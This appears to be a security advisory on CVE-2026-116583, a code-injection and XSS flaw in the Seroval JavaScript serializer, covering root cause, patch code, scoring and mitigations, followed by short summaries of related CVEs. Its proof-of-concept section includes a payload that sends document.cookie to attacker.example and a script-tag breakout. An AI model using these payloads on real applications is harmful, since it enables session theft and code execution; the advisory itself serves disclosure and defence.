Oct 29, 2026·8 min read·3 visits
Seroval versions 1.6.0 through 1.6.10 trust `current.constructor.name` when serializing TypedArray instances into executable JavaScript. Defining an own `constructor` property with a malicious `name` attribute on a TypedArray causes Seroval to emit arbitrary JavaScript payloads into serialized output, resulting in XSS or remote code execution upon hydration or evaluation.
CVE-2026-116583 (GHSA-f86p-h4j2-7qgj) is a code injection and cross-site scripting (XSS) vulnerability in Seroval, a JavaScript object serialization library. In versions 1.6.0 prior to 1.6.11, Seroval derives the constructor name of a TypedArray directly from the `current.constructor.name` property expression during serialization. If an attacker supplies untrusted properties that are merged onto a TypedArray instance, an own `constructor` property overrides the prototype property and gets emitted unescaped after the `new` keyword in the generated JavaScript output. Evaluating or rendering this output in a browser or JavaScript runtime results in arbitrary code execution.
Seroval is a JavaScript serialization library designed to stringify complex data structures beyond the capabilities of native JSON.stringify. It supports cyclical references, BigInt, Map, Set, RegExp, ArrayBuffer, and various TypedArray views. It is frequently utilized in server-side rendering (SSR) frameworks and full-stack JavaScript applications to serialize server state into executable JavaScript expressions for client-side hydration.
In versions 1.6.0 through 1.6.10, Seroval exhibits a code injection vulnerability (CWE-94) and cross-site scripting flaw (CWE-79) within its JavaScript code generation pipeline. The vulnerability affects the serialize, serializeAsync, crossSerialize, crossSerializeAsync, crossSerializeStream, Serializer, and compileJSON APIs. These methods convert in-memory JavaScript values into stringified JavaScript code intended for direct evaluation via eval(), <script> tag injection, or Function constructors.
When serializing TypedArray or BigIntTypedArray instances (such as Uint8Array, Int16Array, or BigInt64Array), Seroval determines the constructor identifier to emit by accessing current.constructor.name. Because JavaScript property resolution checks an object's own properties before traversing the prototype chain, an own constructor property defined on a TypedArray instance shadows %TypedArray%.prototype.constructor.
If application logic copies or merges untrusted user properties onto a TypedArray instance prior to serialization, an attacker can control current.constructor.name. Seroval concatenates this attacker-controlled string directly into the generated JavaScript expression following the new operator. When the downstream consumer evaluates the serialized payload, the injected JavaScript executes within the security context of the target environment.
The root cause of CVE-2026-116583 is the reliance on an unvalidated, prototype-shadowable property lookup (current.constructor.name) to identify internal ECMAScript object types during AST node generation. In JavaScript, any object—including TypedArray views—can have own properties attached to it via Object.assign(), Object.defineProperty(), or object spread/merge operations.
During the initial parsing phase, Seroval validates whether an input object is a TypedArray using prototype checks or ArrayBuffer.isView(). Having an own constructor property does not alter an object's prototype chain or its internal [[TypedArrayName]] slot, so the object passes type validation as a legitimate TypedArray. Subsequently, Seroval invokes createTypedArrayNode() or createBigIntTypedArrayNode() in packages/seroval/src/core/base-primitives.ts to build the serialization Abstract Syntax Tree (AST).
Within both AST builder functions, the fourth argument passed to the node constructor represents the TypedArray class name (c). In vulnerable versions, this argument was populated directly via current.constructor.name. During the code generation phase, Seroval emits the string new ${node.c}(...) without lexical validation or identifier sanitization, assuming node.c always contains a standard ECMAScript constructor identifier like Uint8Array.
A secondary, related flaw existed in getArrayBufferView() within packages/seroval/src/core/context/parser.ts. When compacting ArrayBuffer views, Seroval instantiated a fresh view over a sliced buffer by executing new (current.constructor)(buffer). If current.constructor was replaced with an attacker-controlled function or mock object, this instantiation step could be hijacked or cause unexpected runtime exceptions during parsing.
The vulnerability was addressed in commit 1313ebbad9687bc0245e08bfd576376e57e0e5c1 by eliminating all accesses to .constructor on TypedArray instances and replacing them with an inspection of the internal [[TypedArrayName]] slot via TypedArray.prototype[Symbol.toStringTag].
In packages/seroval/src/core/utils/typed-array.ts, the patch introduces getTypedArrayName(). According to the ECMAScript specification (Section 23.2.3.32, get %TypedArray%.prototype [ @@toStringTag ]), the getter for Symbol.toStringTag on the intrinsic %TypedArray% prototype directly inspects the object's internal [[TypedArrayName]] slot. If the slot is present, it returns the canonical string name of the TypedArray (e.g., "Uint8Array"). Because the getter function itself is extracted once from Object.getPrototypeOf(Int8Array.prototype) and invoked via .call(value), own properties on value (including a spoofed [Symbol.toStringTag] or constructor property) cannot intercept or alter the return value.
// packages/seroval/src/core/utils/typed-array.ts
type TypedArrayNameGetter = (this: TypedArrayValue | BigIntTypedArrayValue) => string;
let typedArrayNameGetter: TypedArrayNameGetter | undefined;
// Extract the intrinsic getter from %TypedArray%.prototype[Symbol.toStringTag]
export function getTypedArrayName(
value: TypedArrayValue | BigIntTypedArrayValue,
): string {
if (!typedArrayNameGetter) {
typedArrayNameGetter = Object.getOwnPropertyDescriptor(
Object.getPrototypeOf(Int8Array.prototype) as object,
Symbol.toStringTag,
)!.get as TypedArrayNameGetter;
}
// Invoking the intrinsic getter directly reads the internal [[TypedArrayName]] slot
return typedArrayNameGetter.call(value);
}In packages/seroval/src/core/base-primitives.ts, createTypedArrayNode() and createBigIntTypedArrayNode() were updated to use getTypedArrayName(current) instead of current.constructor.name:
// packages/seroval/src/core/base-primitives.ts
export function createTypedArrayNode(
id: number,
current: TypedArrayValue,
f: SerovalNode,
): SerovalTypedArrayNode {
return createSerovalNode(
SerovalNodeType.TypedArray,
id,
NIL,
// BEFORE: current.constructor.name,
// AFTER: Reads immutable internal slot via intrinsic getter
getTypedArrayName(current),
NIL,
NIL,
NIL,
[f],
current.length,
current.byteOffset,
);
}Similarly, in packages/seroval/src/core/context/parser.ts, getArrayBufferView() was modified to resolve the actual constructor function using getTypedArrayConstructor(getTypedArrayName(current)) rather than trusting current.constructor:
// packages/seroval/src/core/context/parser.ts
export function getArrayBufferView<T extends ArrayBufferView>(
current: T,
): T {
const buffer = new Uint8Array(
current.buffer,
current.byteOffset,
current.byteLength,
).slice().buffer;
// BEFORE: const Constructor = current.constructor as new (buffer: ArrayBuffer) => T;
// AFTER: Resolve authentic constructor from internal type or DataView instanceof check
const Constructor = (
current instanceof DataView
? DataView
: getTypedArrayConstructor(
getTypedArrayName(current as unknown as TypedArrayValue),
)
) as unknown as new (
buffer: ArrayBuffer,
) => T;
return new Constructor(buffer);
}The fix is complete with respect to TypedArray constructor spoofing, provided the JavaScript runtime environment loads Seroval before untrusted code can tamper with the global Int8Array.prototype chain.
Exploiting CVE-2026-116583 requires an application data flow where attacker-controlled properties are assigned onto a TypedArray instance that is subsequently serialized by Seroval. This condition commonly occurs when applications use recursive merge utilities, custom deserializers, or property-copying routines (Object.assign(typedArray, userMetadata)) to attach metadata onto binary buffers before passing state across an SSR boundary.
To construct an exploit payload, an attacker defines an own constructor property on the target TypedArray containing an object with a crafted name string. Because Seroval emits new <name>(<buffer_expression>), the payload must remain syntactically valid JavaScript after the new keyword. Attackers can achieve this by invoking a function expression and appending a single-line comment (//) to comment out the trailing buffer arguments generated by Seroval, or by breaking out of an enclosing HTML <script> context.
import { serialize, crossSerialize, compileJSON } from 'seroval';
// Helper simulating property injection onto a TypedArray
function spoof(value: ArrayBufferView, constructor: unknown) {
Object.defineProperty(value, 'constructor', { value: constructor });
return value;
}
// Case 1: Direct JavaScript function execution using trailing comment
const payload1 = spoof(new Uint8Array([1, 2, 3]), {
name: ' fetch("//attacker.example/?c="+document.cookie)//'
});
console.log(serialize(payload1));
// Output in vulnerable versions (1.6.0 - 1.6.10):
// "new fetch(\"//attacker.example/?c=\"+document.cookie)//(new ArrayBuffer(3),0,3)"
// Case 2: HTML script tag breakout during SSR injection
const payload2 = spoof(new Int16Array([-1, 2]), {
name: '</script><script>alert(document.domain)</script>'
});
console.log(crossSerialize(payload2));When the output of payload1 is evaluated via eval() or a <script> block on the client, the JavaScript engine parses new fetch(...) as an instantiation of the fetch call, immediately executing the network request while ignoring the commented-out (new ArrayBuffer(3),0,3) suffix. In payload2, if the serialized string is embedded directly into an SSR HTML response inside a <script> element, the injected </script><script> sequence prematurely closes the enclosing script block and executes arbitrary HTML/JavaScript in the victim's browser.
The primary impact of CVE-2026-116583 is Cross-Site Scripting (XSS) in client browsers or arbitrary JavaScript code execution in server/worker runtimes that evaluate Seroval output. In a typical SSR architecture, the vulnerable system is the server generating the serialized state, while the subsequent system is the client browser hydrating that state.
This architectural separation is reflected in the CVSS v4.0 score of 5.3 (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N). The vulnerable system impacts (VC, VI, VA) are rated None (N) because the serialization step itself only constructs a string in memory without altering server confidentiality or integrity. However, the subsequent system impacts (SC, SI) are rated High (H) because once the malicious payload is rendered in the victim's browser, the attacker gains full read and write access to the user's session, DOM, cookies, and web storage.
Attack Complexity (AC:H) and Attack Requirements (AT:P) reflect the prerequisite that the target application must explicitly copy untrusted object properties onto a TypedArray instance prior to invoking a JavaScript-emitting Seroval API. Note that Seroval's pure JSON serialization API (toJSON paired with fromJSON) does not emit raw JavaScript code directly, unless compileJSON is subsequently called on the resulting JSON payload.
If an application evaluates serialize() output on the server side (for example, inside a Node.js worker thread or edge function using eval or vm.runInContext), the impact escalates to server-side Remote Code Execution (RCE) with the privileges of the Node.js process.
Organizations and developers utilizing seroval or seroval-plugins should upgrade to version 1.6.11 or later immediately. Version 1.6.11 resolves the issue across all serialization and parser contexts by querying TypedArray.prototype[Symbol.toStringTag] rather than .constructor.name.
# Upgrade using npm
npm install seroval@^1.6.11 seroval-plugins@^1.6.11
# Upgrade using pnpm
pnpm update seroval@^1.6.11 seroval-plugins@^1.6.11
# Upgrade using yarn
yarn upgrade seroval@^1.6.11 seroval-plugins@^1.6.11> [!NOTE]
> Meta-frameworks and libraries that bundle or depend transitively on seroval (such as SolidStart or Vinxi) may require updating the lockfile or applying package manager overrides (overrides in package.json or resolutions in Yarn) to ensure version 1.6.11 is installed.
If an immediate dependency upgrade is not feasible, developers must implement strict property sanitization prior to passing TypedArray instances into Seroval. Specifically, strip any own constructor property from TypedArray views before serialization, and avoid using generic object merge functions (Object.assign, lodash.merge) to attach untrusted data onto binary array views:
function sanitizeTypedArray(view) {
if (ArrayBuffer.isView(view) && Object.prototype.hasOwnProperty.call(view, 'constructor')) {
delete view.constructor;
}
return view;
}CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
seroval lxsmnsyc | >= 1.6.0, < 1.6.11 | 1.6.11 |
seroval-plugins lxsmnsyc | >= 1.6.0, < 1.6.11 | 1.6.11 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Code Injection / Cross-Site Scripting (CWE-94, CWE-79) |
| Affected Component | seroval TypedArray Serializer (`createTypedArrayNode`, `createBigIntTypedArrayNode`) |
| Attack Vector | Network (Via untrusted property assignment onto TypedArray) |
| CVSS v4.0 Score | 5.3 Medium (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N) |
| EPSS Score | 0.27% (18.91th percentile) |
| Impact | Arbitrary JavaScript execution in client browser (XSS) or deserializing runtime |
| Exploit Status | Proof-of-Concept available in repository regression tests |
| Patched Version | seroval@1.6.11 / seroval-plugins@1.6.11 |
The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Seroval, a JavaScript serialization library used for transferring complex structures across network boundaries, contains an input validation vulnerability in versions prior to 1.6.8. The `fromJSON` and `fromCrossJSON` deserializers fail to validate array element lists and the termination boundaries (`done` and `throw` indices) of sequence nodes. By supplying out-of-bounds indices or forged array-like structures, an unauthenticated remote attacker can construct an iterator with an unreachable exit condition or trigger excessive loop iterations, halting the single-threaded JavaScript event loop and causing a denial of service.
CVE-2026-116582 is an improper output escaping vulnerability in the Seroval JavaScript serialization library that leads to cross-site scripting (XSS). When Seroval serializes RegExp objects into executable JavaScript literals for embedding in HTML script elements, it fails to neutralize the less-than character ('<'). If an application constructs a regular expression from untrusted input and embeds the serialized output inside an inline script block during server-side rendering (SSR), an attacker can inject a closing script tag to break out of the JavaScript context and execute arbitrary client-side code.
An improper input validation and NoSQL query construction vulnerability exists in the Waline comment system server (@waline/vercel) version 1.40.3 and earlier. When MongoDB is used as the backend storage engine, the POST /api/token authentication endpoint fails to validate that the user-supplied email parameter is a string. Supplying a JSON object or array operator causes the MongoDB storage adapter to omit the email filter or construct an unintended match-all query, returning all user records and allowing unauthenticated attackers to target the site administrator account directly without knowing the administrator's email address.
An uncontrolled resource consumption vulnerability in the knative.dev/pkg/webhook package allows network-adjacent attackers within a Kubernetes cluster to trigger Out-Of-Memory (OOM) terminations of admission controller pods. The admission webhook HTTP server processes incoming AdmissionReview requests through an io.TeeReader and json.Decoder pipeline without enforcing an upper bound on request body size. Due to internal buffer reallocation mechanics, incoming payloads experience a 4.5x memory amplification factor. Because knative.dev/pkg provides the shared webhook server foundation for numerous cloud-native projects—including Knative Serving, Knative Eventing, Tekton, KEDA, Sigstore Policy Controller, and Kpack—exploitation can halt resource admission across entire Kubernetes clusters or bypass critical security validation policies.
CVE-2026-115923 (GHSA-w658-mh9p-ww8f) is a path traversal and access control bypass vulnerability in Spotify's Backstage developer portal framework, specifically within the @backstage/plugin-catalog-backend package. Prior to patched versions, DefaultCatalogRulesEnforcer evaluated user-supplied URL catalog locations against configured catalog.rules patterns using raw, uncanonicalized strings. Because downstream URL readers canonicalize URLs and resolve dot segments before fetching resources, an authenticated attacker with location registration permissions can supply percent-encoded traversal sequences (such as %2e%2e) to bypass location restrictions and register untrusted catalog entities.
CVE-2026-116576 (GHSA-3f7j-7jwc-fxfj) is an OS Command Injection vulnerability (CWE-78) in the Node.js systeminformation library prior to version 5.33.16 on Microsoft Windows. The services() API function dynamically constructs a PowerShell Get-CimInstance command using caller-supplied service names passed through sanitizeShellString(). While the sanitizer strips standard ASCII quotation marks, it permits Unicode typographic quotation marks (U+2018 through U+201E). Because the Windows PowerShell tokenizer recognizes Unicode quotation marks as valid string literal delimiters, an attacker who controls the service name input can break out of the CIM filter string and execute arbitrary PowerShell commands within the security context of the Node.js process.